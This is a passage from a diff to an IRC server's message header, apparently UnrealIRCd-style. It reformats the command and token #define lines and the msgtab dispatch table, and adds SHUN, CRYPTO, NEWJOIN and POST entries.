TOK_PING "8" /* 56 */ -#define MSG_PONG "PONG" /* PONG */ -#define TOK_PONG "9" /* 57 */ -#define MSG_OPER "OPER" /* OPER */ -#define TOK_OPER ";" /* 59 */ -#define MSG_PASS "PASS" /* PASS */ -#define TOK_PASS "<" /* 60 */ +#define TOK_CONNECT "7" /* 55 */ +#define MSG_PING "PING" /* PING */ +#define TOK_PING "8" /* 56 */ +#define MSG_PONG "PONG" /* PONG */ +#define TOK_PONG "9" /* 57 */ +#define MSG_OPER "OPER" /* OPER */ +#define TOK_OPER ";" /* 59 */ +#define MSG_PASS "PASS" /* PASS */ +#define TOK_PASS "<" /* 60 */ #define MSG_WALLOPS "WALLOPS" /* WALL */ -#define TOK_WALLOPS "=" /* 61 */ -#define MSG_TIME "TIME" /* TIME */ -#define TOK_TIME ">" /* 62 */ -#define MSG_NAMES "NAMES" /* NAME */ -#define TOK_NAMES "?" /* 63 */ -#define MSG_ADMIN "ADMIN" /* ADMI */ -#define TOK_ADMIN "@" /* 64 */ +#define TOK_WALLOPS "=" /* 61 */ +#define MSG_TIME "TIME" /* TIME */ +#define TOK_TIME ">" /* 62 */ +#define MSG_NAMES "NAMES" /* NAME */ +#define TOK_NAMES "?" /* 63 */ +#define MSG_ADMIN "ADMIN" /* ADMI */ +#define TOK_ADMIN "@" /* 64 */ #define MSG_NOTICE "NOTICE" /* NOTI */ -#define TOK_NOTICE "B" /* 66 */ -#define MSG_JOIN "JOIN" /* JOIN */ -#define TOK_JOIN "C" /* 67 */ -#define MSG_PART "PART" /* PART */ -#define TOK_PART "D" /* 68 */ +#define TOK_NOTICE "B" /* 66 */ +#define MSG_JOIN "JOIN" /* JOIN */ +#define TOK_JOIN "C" /* 67 */ +#define MSG_PART "PART" /* PART */ +#define TOK_PART "D" /* 68 */ #define MSG_LUSERS "LUSERS" /* LUSE */ -#define TOK_LUSERS "E" /* 69 */ -#define MSG_MOTD "MOTD" /* MOTD */ -#define TOK_MOTD "F" /* 70 */ -#define MSG_MODE "MODE" /* MODE */ -#define TOK_MODE "G" /* 71 */ -#define MSG_KICK "KICK" /* KICK */ -#define TOK_KICK "H" /* 72 */ +#define TOK_LUSERS "E" /* 69 */ +#define MSG_MOTD "MOTD" /* MOTD */ +#define TOK_MOTD "F" /* 70 */ +#define MSG_MODE "MODE" /* MODE */ +#define TOK_MODE "G" /* 71 */ +#define MSG_KICK "KICK" /* KICK */ +#define TOK_KICK "H" /* 72 */ #define MSG_SERVICE "SERVICE" /* SERV -> SRVI */ -#define TOK_SERVICE "I" /* 73 */ +#define TOK_SERVICE "I" /* 73 */ #define MSG_USERHOST "USERHOST" /* USER -> USRH */ -#define TOK_USERHOST "J" /* 74 */ -#define MSG_ISON "ISON" /* ISON */ -#define TOK_ISON "K" /* 75 */ +#define TOK_USERHOST "J" /* 74 */ +#define MSG_ISON "ISON" /* ISON */ +#define TOK_ISON "K" /* 75 */ #define MSG_REHASH "REHASH" /* REHA */ -#define TOK_REHASH "O" /* 79 */ +#define TOK_REHASH "O" /* 79 */ #define MSG_RESTART "RESTART" /* REST */ -#define TOK_RESTART "P" /* 80 */ -#define MSG_CLOSE "CLOSE" /* CLOS */ -#define TOK_CLOSE "Q" /* 81 */ -#define MSG_DIE "DIE" /* DIE */ -#define TOK_DIE "R" /* 82 */ -#define MSG_HASH "HASH" /* HASH */ -#define TOK_HASH "S" /* 83 */ -#define MSG_DNS "DNS" /* DNS -> DNSS */ -#define TOK_DNS "T" /* 84 */ +#define TOK_RESTART "P" /* 80 */ +#define MSG_CLOSE "CLOSE" /* CLOS */ +#define TOK_CLOSE "Q" /* 81 */ +#define MSG_DIE "DIE" /* DIE */ +#define TOK_DIE "R" /* 82 */ +#define MSG_HASH "HASH" /* HASH */ +#define TOK_HASH "S" /* 83 */ +#define MSG_DNS "DNS" /* DNS -> DNSS */ +#define TOK_DNS "T" /* 84 */ #define MSG_SILENCE "SILENCE" /* SILE */ -#define TOK_SILENCE "U" /* 85 */ -#define MSG_AKILL "AKILL" /* AKILL */ -#define TOK_AKILL "V" /* 86 */ -#define MSG_KLINE "KLINE" /* KLINE */ -#define TOK_KLINE "W" /* 87 */ -#define MSG_UNKLINE "UNKLINE" /* UNKLINE */ -#define TOK_UNKLINE "X" /* 88 */ +#define TOK_SILENCE "U" /* 85 */ +#define MSG_AKILL "AKILL" /* AKILL */ +#define TOK_AKILL "V" /* 86 */ +#define MSG_KLINE "KLINE" /* KLINE */ +#define TOK_KLINE "W" /* 87 */ +#define MSG_UNKLINE "UNKLINE" /* UNKLINE */ +#define TOK_UNKLINE "X" /* 88 */ #define MSG_RAKILL "RAKILL" /* RAKILL */ -#define TOK_RAKILL "Y" /* 89 */ +#define TOK_RAKILL "Y" /* 89 */ #define MSG_GNOTICE "GNOTICE" /* GNOTICE */ -#define TOK_GNOTICE "Z" /* 90 */ -#define MSG_GOPER "GOPER" /* GOPER */ -#define TOK_GOPER "[" /* 91 */ +#define TOK_GNOTICE "Z" /* 90 */ +#define MSG_GOPER "GOPER" /* GOPER */ +#define TOK_GOPER "[" /* 91 */ #define MSG_GLOBOPS "GLOBOPS" /* GLOBOPS */ -#define TOK_GLOBOPS "]" /* 93 */ +#define TOK_GLOBOPS "]" /* 93 */ #define MSG_LOCOPS "LOCOPS" /* LOCOPS */ -#define TOK_LOCOPS "^" /* 94 */ +#define TOK_LOCOPS "^" /* 94 */ #define MSG_PROTOCTL "PROTOCTL" /* PROTOCTL */ -#define TOK_PROTOCTL "_" /* 95 */ -#define MSG_WATCH "WATCH" /* WATCH */ -#define TOK_WATCH "`" /* 96 */ -#define MSG_TRACE "TRACE" /* TRAC */ -#define TOK_TRACE "b" /* 97 */ +#define TOK_PROTOCTL "_" /* 95 */ +#define MSG_WATCH "WATCH" /* WATCH */ +#define TOK_WATCH "`" /* 96 */ +#define MSG_TRACE "TRACE" /* TRAC */ +#define TOK_TRACE "b" /* 97 */ #define MSG_SQLINE "SQLINE" /* SQLINE */ -#define TOK_SQLINE "c" /* 98 */ +#define TOK_SQLINE "c" /* 98 */ #define MSG_UNSQLINE "UNSQLINE" /* UNSQLINE */ -#define TOK_UNSQLINE "d" /* 99 */ +#define TOK_UNSQLINE "d" /* 99 */ #define MSG_SVSNICK "SVSNICK" /* SVSNICK */ -#define TOK_SVSNICK "e" /* 100 */ +#define TOK_SVSNICK "e" /* 100 */ #define MSG_SVSNOOP "SVSNOOP" /* SVSNOOP */ -#define TOK_SVSNOOP "f" /* 101 */ +#define TOK_SVSNOOP "f" /* 101 */ #define MSG_IDENTIFY "IDENTIFY" /* IDENTIFY */ -#define TOK_IDENTIFY "g" /* 102 */ +#define TOK_IDENTIFY "g" /* 102 */ #define MSG_SVSKILL "SVSKILL" /* SVSKILL */ -#define TOK_SVSKILL "h" /* 103 */ +#define TOK_SVSKILL "h" /* 103 */ #define MSG_NICKSERV "NICKSERV" /* NICKSERV */ #define MSG_NS "NS" -#define TOK_NICKSERV "i" /* 104 */ +#define TOK_NICKSERV "i" /* 104 */ #define MSG_CHANSERV "CHANSERV" /* CHANSERV */ #define MSG_CS "CS" -#define TOK_CHANSERV "j" /* 105 */ +#define TOK_CHANSERV "j" /* 105 */ #define MSG_OPERSERV "OPERSERV" /* OPERSERV */ #define MSG_OS "OS" -#define TOK_OPERSERV "k" /* 106 */ +#define TOK_OPERSERV "k" /* 106 */ #define MSG_MEMOSERV "MEMOSERV" /* MEMOSERV */ #define MSG_MS "MS" -#define TOK_MEMOSERV "l" /* 107 */ +#define TOK_MEMOSERV "l" /* 107 */ #define MSG_SERVICES "SERVICES" /* SERVICES */ -#define TOK_SERVICES "m" /* 108 */ +#define TOK_SERVICES "m" /* 108 */ #define MSG_SVSMODE "SVSMODE" /* SVSMODE */ -#define TOK_SVSMODE "n" /* 109 */ +#define TOK_SVSMODE "n" /* 109 */ #define MSG_SAMODE "SAMODE" /* SAMODE */ -#define TOK_SAMODE "o" /* 110 */ +#define TOK_SAMODE "o" /* 110 */ #define MSG_CHATOPS "CHATOPS" /* CHATOPS */ -#define TOK_CHATOPS "p" /* 111 */ -#define MSG_ZLINE "ZLINE" /* ZLINE */ -#define TOK_ZLINE "q" /* 112 */ -#define MSG_UNZLINE "UNZLINE" /* UNZLINE */ -#define TOK_UNZLINE "r" /* 113 */ -#define MSG_HELPSERV "HELPSERV" /* HELPSERV */ +#define TOK_CHATOPS "p" /* 111 */ +#define MSG_ZLINE "ZLINE" /* ZLINE */ +#define TOK_ZLINE "q" /* 112 */ +#define MSG_UNZLINE "UNZLINE" /* UNZLINE */ +#define TOK_UNZLINE "r" /* 113 */ +#define MSG_HELPSERV "HELPSERV" /* HELPSERV */ #define MSG_HS "HS" -#define TOK_HELPSERV "s" /* 114 */ -#define MSG_RULES "RULES" /* RULES */ -#define TOK_RULES "t" /* 115 */ -#define MSG_MAP "MAP" /* MAP */ -#define TOK_MAP "u" /* 117 */ -#define MSG_SVS2MODE "SVS2MODE" /* SVS2MODE */ -#define TOK_SVS2MODE "v" /* 118 */ -#define MSG_DALINFO "DALINFO" /* dalinfo */ -#define TOK_DALINFO "w" /* 119 */ -#define MSG_ADMINCHAT "ADCHAT" /* Admin chat */ -#define TOK_ADMINCHAT "x" /* 120 */ +#define TOK_HELPSERV "s" /* 114 */ +#define MSG_RULES "RULES" /* RULES */ +#define TOK_RULES "t" /* 115 */ +#define MSG_MAP "MAP" /* MAP */ +#define TOK_MAP "u" /* 117 */ +#define MSG_SVS2MODE "SVS2MODE" /* SVS2MODE */ +#define TOK_SVS2MODE "v" /* 118 */ +#define MSG_DALINFO "DALINFO" /* dalinfo */ +#define TOK_DALINFO "w" /* 119 */ +#define MSG_ADMINCHAT "ADCHAT" /* Admin chat */ +#define TOK_ADMINCHAT "x" /* 120 */ #define MSG_MKPASSWD "MKPASSWD" /* MKPASSWD */ -#define TOK_MKPASSWD "y" /* 121 */ -#define MSG_ADDLINE "ADDLINE" /* ADDLINE */ -#define TOK_ADDLINE "z" /* 122 */ -#define MSG_GLINE "GLINE" /* The awesome g-line */ -#define TOK_GLINE "}" /* 125 */ +#define TOK_MKPASSWD "y" /* 121 */ +#define MSG_ADDLINE "ADDLINE" /* ADDLINE */ +#define TOK_ADDLINE "z" /* 122 */ +#define MSG_GLINE "GLINE" /* The awesome g-line */ +#define TOK_GLINE "}" /* 125 */ #define MSG_SJOIN "SJOIN" #define TOK_SJOIN "~" -#define MSG_SETHOST "SETHOST" /* sethost */ -#define TOK_SETHOST "AA" /* 127 4ever !;) */ -#define MSG_TECHAT "TECHAT" /* techadmin chat */ -#define TOK_TECHAT "AB" /* questionmark? */ -#define MSG_NACHAT "NACHAT" /* netadmin chat */ -#define TOK_NACHAT "AC" /* *beep* */ -#define MSG_SETIDENT "SETIDENT" /* set ident */ -#define TOK_SETIDENT "AD" /* good old BASIC ;P */ -#define MSG_SETNAME "SETNAME" /* set GECOS */ -#define TOK_SETNAME "AE" /* its almost unreeaaall... */ -#define MSG_LAG "LAG" /* Lag detect */ -#define TOK_LAG "AF" /* a or ? */ -#define MSG_SDESC "SDESC" /* set description */ +#define MSG_SETHOST "SETHOST" /* sethost */ +#define TOK_SETHOST "AA" /* 127 4ever !;) */ +#define MSG_TECHAT "TECHAT" /* techadmin chat */ +#define TOK_TECHAT "AB" /* questionmark? */ +#define MSG_NACHAT "NACHAT" /* netadmin chat */ +#define TOK_NACHAT "AC" /* *beep* */ +#define MSG_SETIDENT "SETIDENT" /* set ident */ +#define TOK_SETIDENT "AD" /* good old BASIC ;P */ +#define MSG_SETNAME "SETNAME" /* set GECOS */ +#define TOK_SETNAME "AE" /* its almost unreeaaall... */ +#define MSG_LAG "LAG" /* Lag detect */ +#define TOK_LAG "AF" /* a or ? */ +#define MSG_SDESC "SDESC" /* set description */ #define TOK_SDESC "AG" -#define MSG_STATSERV "STATSERV" /* alias */ -#define TOK_STATSERV "AH" +#define MSG_STATSERV "STATSERV" /* alias */ +#define TOK_STATSERV "AH" #define MSG_KNOCK "KNOCK" #define TOK_KNOCK "AI" #define MSG_CREDITS "CREDITS" @@ -294,7 +295,7 @@ #define MSG_BOTMOTD "BOTMOTD" #define TOK_BOTMOTD "BF" #define MSG_REMGLINE "REMGLINE" /* remove g-line */ -#define TOK_REMGLINE "BG" +#define TOK_REMGLINE "BG" #define MSG_HTM "HTM" #define TOK_HTM "BH" #define MSG_UMODE2 "UMODE2" @@ -306,8 +307,17 @@ #define MSG_CHGNAME "CHGNAME" #define MSG_SVSNAME "SVSNAME" #define TOK_CHGNAME "BK" +#define MSG_SHUN "SHUN" +#define TOK_SHUN "BL" +#ifdef CRYPTOIRCD +#define MSG_CRYPTO "CRYPTO" +#define TOK_CRYPTO "BM" +#endif +#define MSG_NEWJOIN "NEWJOIN" /* For CR Java Chat */ -#define MAXPARA 15 +#define MSG_POST "POST" +#define TOK_POST "BN" +#define MAXPARA 15 extern int m_private(), m_topic(), m_join(), m_part(), m_mode(), m_svsmode(); extern int m_ping(), m_pong(), m_wallops(), m_kick(), m_svsnick(); @@ -315,12 +325,14 @@ extern int m_nick(), m_error(), m_notice(), m_samode(), m_svsnoop(); extern int m_invite(), m_quit(), m_kill(), m_svskill(), m_identify(); extern int m_akill(), m_kline(), m_unkline(), m_rakill(), m_sqline(); extern int m_zline(), m_unzline(); -extern int m_gnotice(), m_goper(), m_globops(), m_locops(), m_unsqline(), m_chatops(); +extern int m_gnotice(), m_goper(), m_globops(), m_locops(), m_unsqline(), +m_chatops(); extern int m_protoctl(); extern int m_motd(), m_who(), m_whois(), m_user(), m_list(); extern int m_server(), m_info(), m_links(), m_summon(), m_stats(); extern int m_users(), m_version(), m_help(); -extern int m_nickserv(), m_operserv(), m_chanserv(), m_memoserv(), m_helpserv(), m_services(), m_identify(); +extern int m_nickserv(), m_operserv(), m_chanserv(), m_memoserv(), +m_helpserv(), m_services(), m_identify(); extern int m_statserv(); extern int m_squit(), m_away(), m_connect(); extern int m_oper(), m_pass(), m_trace(); @@ -332,153 +344,162 @@ extern int m_service(), m_servset(), m_servlist(), m_squery(); extern int m_rehash(), m_restart(), m_die(), m_dns(), m_hash(); /*extern int m_noshortn(),m_noshortc(),m_noshortm(),m_noshorto(),m_noshorth();*/ -extern int m_gline(), m_remgline(), m_map(), m_svs2mode(), m_admins(), m_dalinfo(); +extern int m_gline(), m_remgline(), m_map(), m_svs2mode(), m_admins(), +m_dalinfo(); extern int m_addline(), m_rules(), m_mkpasswd(); extern int m_sethost(), m_nachat(), m_techat(), m_setident(), m_setname(); extern int m_lag(), m_sdesc(), m_knock(), m_credits(); extern int m_license(), m_chghost(), m_rping(), m_rpong(); extern int m_netinfo(), m_sendumode(), m_addmotd(), m_addomotd(); -extern int m_svsmotd(), m_opermotd(), m_tsctl(); +extern int m_svsmotd(), m_opermotd(), m_tsctl(); extern int m_svsjoin(), m_sajoin(), m_svspart(), m_sapart(); extern int m_chgident(), m_swhois(), m_svso(), m_svsfline(); extern int m_tkl(), m_vhost(), m_botmotd(), m_sjoin(), m_htm(); extern int m_umode2(), m_dccdeny(), m_undccdeny(); -extern int m_chgname(); +extern int m_chgname(), m_shun(), m_post(); +#ifdef CRYPTOIRCD +extern int m_crypto(); +#endif #ifdef MSGTAB struct Message *msgmap[256]; struct Message msgtab[] = { - { MSG_PRIVATE, m_private, 0, MAXPARA, 1, TOK_PRIVATE, 0L }, - { MSG_NOTICE, m_notice, 0, MAXPARA, 1, TOK_NOTICE, 0L }, - { MSG_MODE, m_mode, 0, MAXPARA, 1, TOK_MODE, 0L }, - { MSG_NICK, m_nick, 0, MAXPARA, 1, TOK_NICK, 0L }, - { MSG_JOIN, m_join, 0, MAXPARA, 1, TOK_JOIN, 0L }, - { MSG_PING, m_ping, 0, MAXPARA, 1, TOK_PING, 0L }, - { MSG_WHOIS, m_whois, 0, MAXPARA, 1, TOK_WHOIS, 0L }, - { MSG_ISON, m_ison, 0, 1, 1, TOK_ISON, 0L }, - { MSG_USER, m_user, 0, MAXPARA, 1, TOK_USER, 0L }, - { MSG_PONG, m_pong, 0, MAXPARA, 1, TOK_PONG, 0L }, - { MSG_PART, m_part, 0, MAXPARA, 1, TOK_PART, 0L }, - { MSG_QUIT, m_quit, 0, MAXPARA, 1, TOK_QUIT, 0L }, - { MSG_WATCH, m_watch, 0, 1, 1, TOK_WATCH, 0L }, - { MSG_USERHOST,m_userhost, 0, 1, 1, TOK_USERHOST,0L }, - { MSG_SVSNICK, m_svsnick, 0, MAXPARA, 1, TOK_SVSNICK, 0L }, - { MSG_SVSMODE, m_svsmode, 0, MAXPARA, 1, TOK_SVSMODE, 0L }, - { MSG_LUSERS, m_lusers, 0, MAXPARA, 1, TOK_LUSERS, 0L }, - { MSG_IDENTIFY,m_identify, 0, 1, 1, TOK_IDENTIFY,0L }, - { MSG_CHANSERV,m_chanserv, 0, 1, 1, TOK_CHANSERV,0L }, - { MSG_TOPIC, m_topic, 0, MAXPARA, 1, TOK_TOPIC, 0L }, - { MSG_INVITE, m_invite, 0, MAXPARA, 1, TOK_INVITE, 0L }, - { MSG_KICK, m_kick, 0, MAXPARA, 1, TOK_KICK, 0L }, - { MSG_WALLOPS, m_wallops, 0, 1, 1, TOK_WALLOPS, 0L }, - { MSG_ERROR, m_error, 0, MAXPARA, 1, TOK_ERROR, 0L }, - { MSG_KILL, m_kill, 0, MAXPARA, 1, TOK_KILL, 0L }, - { MSG_PROTOCTL,m_protoctl, 0, MAXPARA, 1, TOK_PROTOCTL,0L }, - { MSG_AWAY, m_away, 0, MAXPARA, 1, TOK_AWAY, 0L }, - { MSG_SERVER, m_server, 0, MAXPARA, 1, TOK_SERVER, 0L }, - { MSG_SQUIT, m_squit, 0, MAXPARA, 1, TOK_SQUIT, 0L }, - { MSG_WHO, m_who, 0, MAXPARA, 1, TOK_WHO, 0L }, - { MSG_WHOWAS, m_whowas, 0, MAXPARA, 1, TOK_WHOWAS, 0L }, - { MSG_LIST, m_list, 0, MAXPARA, 1, TOK_LIST, 0L }, - { MSG_NAMES, m_names, 0, MAXPARA, 1, TOK_NAMES, 0L }, - { MSG_TRACE, m_trace, 0, MAXPARA, 1, TOK_TRACE, 0L }, - { MSG_PASS, m_pass, 0, MAXPARA, 1, TOK_PASS, 0L }, - { MSG_TIME, m_time, 0, MAXPARA, 1, TOK_TIME, 0L }, - { MSG_OPER, m_oper, 0, MAXPARA, 1, TOK_OPER, 0L }, - { MSG_CONNECT, m_connect, 0, MAXPARA, 1, TOK_CONNECT, 0L }, - { MSG_VERSION, m_version, 0, MAXPARA, 1, TOK_VERSION, 0L }, - { MSG_STATS, m_stats, 0, MAXPARA, 1, TOK_STATS, 0L }, - { MSG_LINKS, m_links, 0, MAXPARA, 1, TOK_LINKS, 0L }, - { MSG_ADMIN, m_admin, 0, MAXPARA, 1, TOK_ADMIN, 0L }, - { MSG_USERS, m_users, 0, MAXPARA, 1, TOK_USERS, 0L }, - { MSG_SAMODE, m_samode, 0, MAXPARA, 1, TOK_SAMODE, 0L }, - { MSG_SVSKILL, m_svskill, 0, MAXPARA, 1, TOK_SVSKILL, 0L }, - { MSG_SVSNOOP, m_svsnoop, 0, MAXPARA, 1, TOK_SVSNOOP, 0L }, - { MSG_CS, m_chanserv, 0, 1, 1, TOK_CHANSERV,0L }, - { MSG_NICKSERV,m_nickserv, 0, 1, 1, TOK_NICKSERV,0L }, - { MSG_NS, m_nickserv, 0, 1, 1, TOK_NICKSERV,0L }, - { MSG_OPERSERV,m_operserv, 0, 1, 1, TOK_OPERSERV,0L }, - { MSG_OS, m_operserv, 0, 1, 1, TOK_OPERSERV,0L }, - { MSG_MEMOSERV,m_memoserv, 0, 1, 1, TOK_MEMOSERV,0L }, - { MSG_MS, m_memoserv, 0, 1, 1, TOK_MEMOSERV,0L }, - { MSG_HELPSERV,m_helpserv, 0, 1, 1, TOK_HELPSERV,0L }, - { MSG_HS, m_helpserv, 0, 1, 1, TOK_HELPSERV,0L }, - { MSG_SERVICES,m_services, 0, 1, 1, TOK_SERVICES,0L }, - { MSG_SUMMON, m_summon, 0, MAXPARA, 1, TOK_SUMMON, 0L }, - { MSG_HELP, m_help, 0, 1, 1, TOK_HELP, 0L }, - { MSG_HELPOP, m_help, 0, 1, 1, TOK_HELP, 0L }, - { MSG_INFO, m_info, 0, MAXPARA, 1, TOK_INFO, 0L }, - { MSG_MOTD, m_motd, 0, MAXPARA, 1, TOK_MOTD, 0L }, - { MSG_CLOSE, m_close, 0, MAXPARA, 1, TOK_CLOSE, 0L }, - { MSG_SILENCE, m_silence, 0, MAXPARA, 1, TOK_SILENCE, 0L }, - { MSG_AKILL, m_akill, 0, MAXPARA, 1, TOK_AKILL, 0L }, - { MSG_SQLINE, m_sqline, 0, MAXPARA, 1, TOK_SQLINE, 0L }, - { MSG_UNSQLINE,m_unsqline, 0, MAXPARA, 1, TOK_UNSQLINE,0L }, - { MSG_KLINE, m_kline, 0, MAXPARA, 1, TOK_KLINE, 0L }, - { MSG_UNKLINE, m_unkline, 0, MAXPARA, 1, TOK_UNKLINE, 0L }, - { MSG_ZLINE, m_zline, 0, MAXPARA, 1, TOK_ZLINE, 0L }, - { MSG_UNZLINE, m_unzline, 0, MAXPARA, 1, TOK_UNZLINE, 0L }, - { MSG_RAKILL, m_rakill, 0, MAXPARA, 1, TOK_RAKILL, 0L }, - { MSG_GNOTICE, m_gnotice, 0, MAXPARA, 1, TOK_GNOTICE, 0L }, - { MSG_GOPER, m_goper, 0, MAXPARA, 1, TOK_GOPER, 0L }, - { MSG_GLOBOPS, m_globops, 0, MAXPARA, 1, TOK_GLOBOPS, 0L }, - { MSG_CHATOPS, m_chatops, 0, 1, 1, TOK_CHATOPS, 0L }, - { MSG_LOCOPS, m_locops, 0, 1, 1, TOK_LOCOPS, 0L }, - { MSG_HASH, m_hash, 0, MAXPARA, 1, TOK_HASH, 0L }, - { MSG_DNS, m_dns, 0, MAXPARA, 1, TOK_DNS, 0L }, - { MSG_REHASH, m_rehash, 0, MAXPARA, 1, TOK_REHASH, 0L }, - { MSG_RESTART, m_restart, 0, MAXPARA, 1, TOK_RESTART, 0L }, - { MSG_DIE, m_die, 0, MAXPARA, 1, TOK_DIE, 0L }, - { MSG_RULES, m_rules, 0, MAXPARA, 1, TOK_RULES, 0L }, - { MSG_MAP, m_map, 0, MAXPARA, 1, TOK_MAP, 0L }, - { MSG_GLINE, m_gline, 0, MAXPARA, 1, TOK_GLINE, 0L }, - { MSG_REMGLINE,m_remgline, 0, MAXPARA, 1, TOK_REMGLINE,0L }, - { MSG_DALINFO, m_dalinfo, 0, MAXPARA, 1, TOK_DALINFO, 0L }, - { MSG_SVS2MODE,m_svs2mode, 0, MAXPARA, 1, TOK_SVS2MODE,0L }, - { MSG_MKPASSWD, m_mkpasswd, 0, MAXPARA, 1, TOK_MKPASSWD, 0L }, - { MSG_ADDLINE, m_addline, 0, 1, 1, TOK_ADDLINE, 0L }, - { MSG_ADMINCHAT, m_admins, 0, 1, 1, TOK_ADMINCHAT, 0L }, - { MSG_SETHOST, m_sethost, 0, MAXPARA, 1, TOK_SETHOST, 0L }, - { MSG_TECHAT, m_techat, 0, 1, 1, TOK_TECHAT, 0L }, - { MSG_NACHAT, m_nachat, 0, 1, 1, TOK_NACHAT, 0L }, - { MSG_SETIDENT, m_setident,0, MAXPARA, 1, TOK_SETIDENT, 0L }, - { MSG_SETNAME, m_setname, 0, 1, 1, TOK_SETNAME, 0L }, - { MSG_LAG, m_lag, 0, MAXPARA, 1, TOK_LAG, 0L }, - { MSG_SDESC, m_sdesc, 0, 1, 1, TOK_SDESC, 0L }, - { MSG_STATSERV,m_statserv, 0, 1, 1, TOK_STATSERV,0L }, - { MSG_KNOCK, m_knock, 0, 2, 1, TOK_KNOCK, 0L }, - { MSG_CREDITS, m_credits, 0, MAXPARA, 1, TOK_CREDITS, 0L }, - { MSG_LICENSE, m_license, 0, MAXPARA, 1, TOK_LICENSE, 0L }, - { MSG_CHGHOST, m_chghost, 0, MAXPARA, 1, TOK_CHGHOST, 0L }, - { MSG_RPING, m_rping, 0, MAXPARA, 1, TOK_RPING, 0L }, - { MSG_RPONG, m_rpong, 0, MAXPARA, 1, TOK_RPONG, 0L }, - { MSG_NETINFO, m_netinfo, 0, MAXPARA, 1, TOK_NETINFO, 0L}, - { MSG_SENDUMODE, m_sendumode, 0, MAXPARA, 1, TOK_SENDUMODE, 0L}, - { MSG_SMO, m_sendumode, 0, MAXPARA, 1, TOK_SMO, 0L}, - { MSG_ADDMOTD, m_addmotd, 0, 1, 1, TOK_ADDMOTD, 0L}, - { MSG_ADDOMOTD, m_addomotd, 0, 1, 1, TOK_ADDOMOTD, 0L}, - { MSG_SVSMOTD, m_svsmotd, 0, MAXPARA, 1, TOK_SVSMOTD, 0L}, - { MSG_OPERMOTD, m_opermotd, 0, MAXPARA, 1, TOK_OPERMOTD, 0L}, - { MSG_TSCTL, m_tsctl, 0, MAXPARA, 1, TOK_TSCTL, 0L}, - { MSG_SVSJOIN, m_svsjoin, 0, MAXPARA, 1, TOK_SVSJOIN, 0L}, - { MSG_SAJOIN, m_sajoin, 0, MAXPARA, 1, TOK_SAJOIN,0L}, - { MSG_SVSPART, m_svspart, 0, MAXPARA, 1, TOK_SVSPART, 0L}, - { MSG_SAPART, m_sapart, 0, MAXPARA, 1, TOK_SAPART,0L}, - { MSG_CHGIDENT, m_chgident,0, MAXPARA, 1, TOK_CHGIDENT,0L}, - { MSG_SWHOIS, m_swhois, 0, MAXPARA, 1, TOK_SWHOIS, 0L}, - { MSG_SVSO, m_svso, 0, MAXPARA, 1, TOK_SVSO, 0L}, - { MSG_SVSFLINE, m_svsfline, 0, MAXPARA,1,TOK_SVSFLINE,0L}, - { MSG_TKL, m_tkl, 0, MAXPARA,1,TOK_TKL,0L}, - { MSG_VHOST, m_vhost, 0, MAXPARA,1,TOK_VHOST,0L}, - { MSG_BOTMOTD, m_botmotd, 0, MAXPARA,1,TOK_BOTMOTD,0L}, - { MSG_SJOIN, m_sjoin, 0, MAXPARA, 1, TOK_SJOIN,0L}, - { MSG_HTM, m_htm, 0, MAXPARA, 1, TOK_HTM, 0L}, - { MSG_UMODE2, m_umode2, 0, MAXPARA, 1, TOK_UMODE2, 0L}, - { MSG_DCCDENY,m_dccdeny, 0, 2, 1, TOK_DCCDENY,0L }, - { MSG_UNDCCDENY,m_undccdeny, 0, MAXPARA, 1, TOK_UNDCCDENY,0L }, - { MSG_CHGNAME, m_chgname, 0, MAXPARA, 1, TOK_CHGNAME, 0L}, - { MSG_SVSNAME, m_chgname, 0, MAXPARA, 1, TOK_CHGNAME, 0L}, - { (char *) 0, (int (*)()) 0 , 0, 0, 0, 0, 0L} + {MSG_PRIVATE, m_private, 0, MAXPARA, 1, TOK_PRIVATE, 0L}, + {MSG_NOTICE, m_notice, 0, MAXPARA, 1, TOK_NOTICE, 0L}, + {MSG_MODE, m_mode, 0, MAXPARA, 1, TOK_MODE, 0L}, + {MSG_NICK, m_nick, 0, MAXPARA, 1, TOK_NICK, 0L}, + {MSG_JOIN, m_join, 0, MAXPARA, 1, TOK_JOIN, 0L}, + {MSG_PING, m_ping, 0, MAXPARA, 1, TOK_PING, 0L}, + {MSG_WHOIS, m_whois, 0, MAXPARA, 1, TOK_WHOIS, 0L}, + {MSG_ISON, m_ison, 0, 1, 1, TOK_ISON, 0L}, + {MSG_USER, m_user, 0, MAXPARA, 1, TOK_USER, 0L}, + {MSG_PONG, m_pong, 0, MAXPARA, 1, TOK_PONG, 0L}, + {MSG_PART, m_part, 0, MAXPARA, 1, TOK_PART, 0L}, + {MSG_QUIT, m_quit, 0, MAXPARA, 1, TOK_QUIT, 0L}, + {MSG_WATCH, m_watch, 0, 1, 1, TOK_WATCH, 0L}, + {MSG_USERHOST, m_userhost, 0, 1, 1, TOK_USERHOST, 0L}, + {MSG_SVSNICK, m_svsnick, 0, MAXPARA, 1, TOK_SVSNICK, 0L}, + {MSG_SVSMODE, m_svsmode, 0, MAXPARA, 1, TOK_SVSMODE, 0L}, + {MSG_LUSERS, m_lusers, 0, MAXPARA, 1, TOK_LUSERS, 0L}, + {MSG_IDENTIFY, m_identify, 0, 1, 1, TOK_IDENTIFY, 0L}, + {MSG_CHANSERV, m_chanserv, 0, 1, 1, TOK_CHANSERV, 0L}, + {MSG_TOPIC, m_topic, 0, MAXPARA, 1, TOK_TOPIC, 0L}, + {MSG_INVITE, m_invite, 0, MAXPARA, 1, TOK_INVITE, 0L}, + {MSG_KICK, m_kick, 0, MAXPARA, 1, TOK_KICK, 0L}, + {MSG_WALLOPS, m_wallops, 0, 1, 1, TOK_WALLOPS, 0L}, + {MSG_ERROR, m_error, 0, MAXPARA, 1, TOK_ERROR, 0L}, + {MSG_KILL, m_kill, 0, MAXPARA, 1, TOK_KILL, 0L}, + {MSG_PROTOCTL, m_protoctl, 0, MAXPARA, 1, TOK_PROTOCTL, 0L}, + {MSG_AWAY, m_away, 0, MAXPARA, 1, TOK_AWAY, 0L}, + {MSG_SERVER, m_server, 0, MAXPARA, 1, TOK_SERVER, 0L}, + {MSG_SQUIT, m_squit, 0, MAXPARA, 1, TOK_SQUIT, 0L}, + {MSG_WHO, m_who, 0, MAXPARA, 1, TOK_WHO, 0L}, + {MSG_WHOWAS, m_whowas, 0, MAXPARA, 1, TOK_WHOWAS, 0L}, + {MSG_LIST, m_list, 0, MAXPARA, 1, TOK_LIST, 0L}, + {MSG_NAMES, m_names, 0, MAXPARA, 1, TOK_NAMES, 0L}, + {MSG_TRACE, m_trace, 0, MAXPARA, 1, TOK_TRACE, 0L}, + {MSG_PASS, m_pass, 0, MAXPARA, 1, TOK_PASS, 0L}, + {MSG_TIME, m_time, 0, 